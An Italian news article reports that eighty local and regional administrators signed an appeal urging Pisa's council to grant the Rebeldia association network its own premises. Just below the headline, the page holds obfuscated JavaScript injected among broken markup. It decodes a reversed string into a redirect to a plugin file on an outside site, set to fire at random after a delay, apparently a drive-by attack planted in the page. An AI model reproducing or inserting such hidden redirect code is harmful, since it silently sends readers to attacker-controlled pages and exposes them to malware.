80 amministratori da tutta Italia: il Rebeldia di Pisa abbia una sede propria

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2011/11/20111128_appello1.gif”>Ottanta amministratori da tutta Italia hanno sottoscritto un appello per l’assegnazione diretta di sede al Progetto Rebeldia, il cartello di oltre 30 associazioni che a Pisa da mesi chiede al Comune la concessione di spazi sociali per svolgere le proprie attività interrotte dopo avere lasciato la vecchia sede “facendo seguito a un accordo – spiega Giuseppe Marcocci di Rebeldia – non rispettato dall’amministrazione comunale”.

Tra i firmatari dell’appello ci sono anche gli assessori regionali di Toscana e Puglia, Salvatore Allocca e Nicola Fratoianni, l’assessore all’ambiente e città sostenibile di Venezia, Gianfranco Bettin, l’assessore ai beni comuni di Napoli, Alessandro Lucarelli, insieme al vicesindaco Tommaso Sodano, l’assessore alle finanze di Massa, Alessandro Volpi, insieme a molti altri amministratori dell’area pisana e di altre città italiane, tra cui la consigliera fiorentina Ornella De Zordo di perUnaltracittà.

“Questa iniziativa è il riconoscimento dell’importanza dell’esperienza di Rebeldia e dimostra che la strada dell’assegnazione diretta non solo è possibile, ma anzi è uno strumento legittimo e percorribile dal Comune”. L’appello sottolinea che “il recupero del patrimonio pubblico grazie alle tante esperienze associative e autogestite che esistono nelle nostre città e il quotidiano lavoro da esse svolto nell’ottica di una ridefinizione di forme di welfare municipale sono un bene da valorizzare anche attraverso l’assegnazione di spazi a queste realtà”.

Leggi qui l’appello

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